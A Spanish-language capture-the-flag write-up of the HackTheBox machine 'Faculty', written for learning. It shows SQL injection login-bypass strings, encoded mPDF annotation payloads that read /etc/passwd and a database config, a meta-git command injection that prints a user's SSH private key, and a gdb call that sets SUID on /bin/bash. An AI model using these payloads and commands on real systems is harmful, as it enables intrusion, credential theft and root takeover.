Faculty - HackTheBox

Featured image

🤖En esta máquina Linux de nivel medio tocaremos un poco de sqli, una explotación muy chula a través de archivos pdf, escalada de privilegios con meta-git y a través de gdb aprovechándonos de un proceso que se ejecuta como root para pivotar al usuario administrador🤖.

HTBadge

Un pequeño INDICE

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de Privilegios.

Reconocimiento #

Reconocimiento de Puertos 🔍

Comenzamos lanzando la utilidad WhichSystem.py para identificar el sistema operativo de la máquina víctima.

Una vez se que me estoy enfrentando a una máquina Linux, ya procedo a lanzar un escaneo de puertos para descubrir puertos abiertos en la máquina víctima a través de la herramienta nmap.

PORT  STATE SERVICE
22/tcp open  ssh
80/tcp open  hhtp

Tenemos abiertos los puertos 22 y 80, pero necesito saber algo más de información acerca de los mismos, tal como los servicios que se ejecutan en cada puerto la versión del mismo.

 # Comando usado para el escaneo 
 nmap -p22,80 -n -sCV 10.10.11.169 -oN servicios

Ahora ya tenemos más infrmación al respecto que detallaré en una tabla

Puerto Servicio Versión
22 ssh OpenSSH 8.2p1 Ubuntu
80 http nginx 1.18.0 Ubuntu

Dominio faculty.htb

Una vez añadido ya procedo a lanzar una utilidad conocida como whatweb para sacar algo más de info del servidor web.

Encuentro varias cositas interesantes:

A continuación procedo a enumerar el servidor web.

Enumeración #

Enumeración Web 🔢

Accedo al dominio faculty.htb y nos redirige al login.php.

Me encuentro con lo siguiente:

Parece que debemos ingresar un id, por lo que abro burpsuite para capturar la petición e inserto un id al azar.

Primeramente voy a comprobar si el id podría ser vulnerable a sql y así iniciar sesión.

Asique voy a añadir una comilla en el campo del id, y si nos arroja un error significa que es vulnerable a sqli.

Por lo visto, es vulnerable a sqli, asique pruebo a meter algún payload sqli.

Metiendo una lista simple de inyecciones sql simples a través del intruder encuentro varias inyecciones que podrían servirme:

# Payloads SQL
--------------
´ OR ´1
´ or 1 -- - 
´ OR " = ´
´=´
´ or ´x´=´x
´ or 1=1#

Al introducir uno de estos payloads sql en el campo id del servidor web podremos acceder al mismo.

Pero no hay nada de interés por lo que voy a fuzzear rutas en el servidor con la herramienta feroxbuster.

Encuentro una ruta de interés /admin asique voy a ver que encuentro dentro.

Es un panel de administrador del servicio web, y navegando un poco encuentro lo siguiente.

Parece que podemos descargar un pdf, de igual forma que anteriormente, capturaré la petición para ver que obtenemos.

Tenemos data encodeada en lo que parecer ser base64, asique voy a decodearla.

Parece que a su vez está url encodeado, asique lo decodeo también dos veces.

Tenemos lo que parecen etiquetas html… pero antes de hacer nada voy a descargar el pdf sin capturar la petición.

Tenemos en la ruta del archivo el directorio mpdf, podría ser algún tipo de tecnología parecido a pdf y además podría tener alguna vulnerabilidad… voy a mirar…

Explotación #

mpdf 🔢

Tenemos dos vulnerabilidades, en mi caso descargo el exploit en python y lo analizo antes de ejecutarlo.

Al analizar el exploit veo que lo que hace es generar una línea con el siguiente contenido y lo urlencodea y lo encodea de nuevo en base64.

# Genera un archivo con este contenido.
--------------------------------------
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

# Lo urlencodea x2 y lo encodea de nuevo en base64
--------------------------------------------------
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2V0Yy9wYXNzd2QlMjUyMiUyNTIwY29udGVudD0lMjUyMi9ldGMvcGFzc3dkJTI1MjIlMjUyMGljb249JTI1MjJHcmFwaCUyNTIyJTI1MjB0aXRsZT0lMjUyMkF0dGFjaGVkJTI1MjBGaWxlOiUyNTIwL2V0Yy9wYXNzd2QlMjUyMiUyNTIwcG9zLXg9JTI1MjIxOTUlMjUyMiUyNTIwLyUyNTNF

Por lo tanto si metemos esto dentro del Burpsuite en la petición capturada y la enviamos se nos debería generar un archivo pdf con el archivo passwd.

Al hacer click en Forward se nos abrirá una ventana en el navegador con el archivo pdf, y haremos click en el icono del clip y veremos el archivo passwd que descargaremos y leeremos.

Ahora ya sabemos que tenemos el usuario developer, gbyolo y el usuario root.

Intenté leer el archivo passwd pero no hubo suerte, asique llegados a este punto se me ocurre intentar leer algún archivo php del servidor web, y si vuelvo para trás puedo ver que teníamos varios archivos que nos reportó el fuzzeo, pero para asegurarme buscaré más archivos con extensión php usando gobuster.

Tenemos un archivo que me llama la atención, que es el archivo db_connect.php

Asique voy a intentar leerlo, pero existse un problema, desconozco la ruta de ese archivo en el sistema… Pero recuerdo que al comienzo al intentar probar la inyección sql me apareció un error con la ruta /var/www/scheduling/admin/admin_class.php y además acabo de descubri también el archivo admin_class.php.

# Genera un archivo con este contenido.
--------------------------------------
<annotation file="/var/www/schedule/admin/db_connect.php" content="/var/www/schedule/admin/db_connect.php" icon="Graph" title="Attached File: /var/www/schedule/admin/db_connect.php" pos-x="195" />

# Lo urlencodea x2 y lo encodea de nuevo en base64
--------------------------------------------------
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL3Zhci93d3cvc2NoZWR1bGUvYWRtaW4vZGJfY29ubmVjdC5waHAlMjUyMiUyNTIwY29udGVudD0lMjUyMi92YXIvd3d3L3NjaGVkdWxlL2FkbWluL2RiX2Nvbm5lY3QucGhwJTI1MjIlMjUyMGljb249JTI1MjJHcmFwaCUyNTIyJTI1MjB0aXRsZT0lMjUyMkF0dGFjaGVkJTI1MjBGaWxlOiUyNTIwL3Zhci93d3cvc2NoZWR1bGUvYWRtaW4vZGJfY29ubmVjdC5waHAlMjUyMiUyNTIwcG9zLXg9JTI1MjIxOTUlMjUyMiUyNTIwLyUyNTNF

Y encuentro lo que parece ser una credencial…

Intentaré loguearme con estas credenciales y uno de los usuarios a través de ssh.

Y consigo loguearme con el usuario gbyolo y la credencial que encontré.

Intento leer la user flag pero para poder leerla he de convertirme en el usuario developer.

Escalada de Privilegios #

meta-git 🔍

Lanzo el comando sudo -l y veo que puedo ejecutar como el usuario developer /usr/local/bin/meta-git.

Busco información en google al respecto y encuentro este artículo.

https://hackerone.com/reports/728040

En este artículo podemos ver como a través de meta-git podemos leer archivos del sistema, en este caso intentaré leer el archivo id_rsa del usuario developer.

# Comando para obtener rsa del usuario developer
-----------------------------------------------
sudo -u developer meta-git clone ´elc4br4 | cat /home/developer/.ssh/id_rsa´

Obtengo el id_rsa, lo copio a mi máquina local le asigno permisos chmod 400 y me logueo con el usuario developer usando la rsa.

Ahora ya puedo leer la flag user.txt.

A continuación toca pivotar al usuario root para poder visualizar la flag root.txt.

gdb 🔍

Para encontrar vectores de escalada lanzo linpeas.sh que se puede descargar desde este repositorio de Github. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Lo descargo y lo paso a la máquina víctima a través de un servidor de python3.

Lo lanzo y encuentro algo interesante:

En este caso podríamos usar gdb.

Aprovechándonos de un proceso que se ejecute como root podríamos usar gdb para asignar permisos suid a la bash y así convertirme en root.

gdb -p 735
----------
call (void)system("chmod u+s /bin/bash")
quit